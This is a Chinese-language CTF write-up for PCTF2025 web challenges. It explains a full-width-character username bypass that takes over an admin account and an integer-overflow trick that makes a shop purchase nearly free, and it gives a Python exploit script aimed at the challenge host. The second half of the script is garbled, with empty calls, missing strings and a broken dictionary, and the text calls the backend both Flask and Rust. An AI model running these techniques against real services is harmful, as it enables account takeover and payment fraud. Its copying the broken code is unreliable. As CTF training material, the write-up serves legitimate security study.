PCTF2025 Web 后半部分复盘
本次复盘涵盖了 PCTF2025 Web 方向的后半部分赛题,主要涉及 Python/Flask 框架下的多种常见漏洞。通过源码审计与逻辑分析,我们定位了全角字符绕过、整数溢出、JWT 伪造、命令执行及模板注入等关键点。
神秘商店
题目提供了一个登录框,目标是获取 Flag。核心思路在于利用全角字符绕过后端检测,并结合整数溢出修改余额。
全角字符绕过
后端代码对用户名进行了转换处理,但存在逻辑缺陷。使用全角字符 admin(注意最后一个 n 是全角)注册时,后端可能将其识别为普通 ASCII 的 admin,从而覆盖原有账户或创建新账户。这导致我们可以控制 admin 的密码。

注册成功后,即可登录并尝试操作。
整数溢出攻击
在 Rust 编写的后端中,余额计算可能存在整数溢出风险。通过将余额设置为接近最大值的数值(如 4294967246),使其在运算后回绕至较小值(如 50),从而以极低成本购买 Flag。
import requests
def exploit():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
# 注册管理员账户,使用全角字符
print("[+] 注册管理员账户...")
users = {"username": "admi\uFF4E", "password": "123456"}
response = session.post(f"{url}/register", data=users)
print(f"[+] 注册响应:{response.status_code}")
# 登录
print("[+] 登录...")
users = {"username": "admi\uFF4E", "password": "123456"}
response = session.post(f"{url}/login", data=users)
print(f"[+] 登录响应:{response.status_code}")
# 查看用户信息
response = session.get()
()
()
amount = {: }
response = session.post(, data=amount)
()
()
product = {: }
response = session.post(, json=product)
()
__name__ == :
exploit()














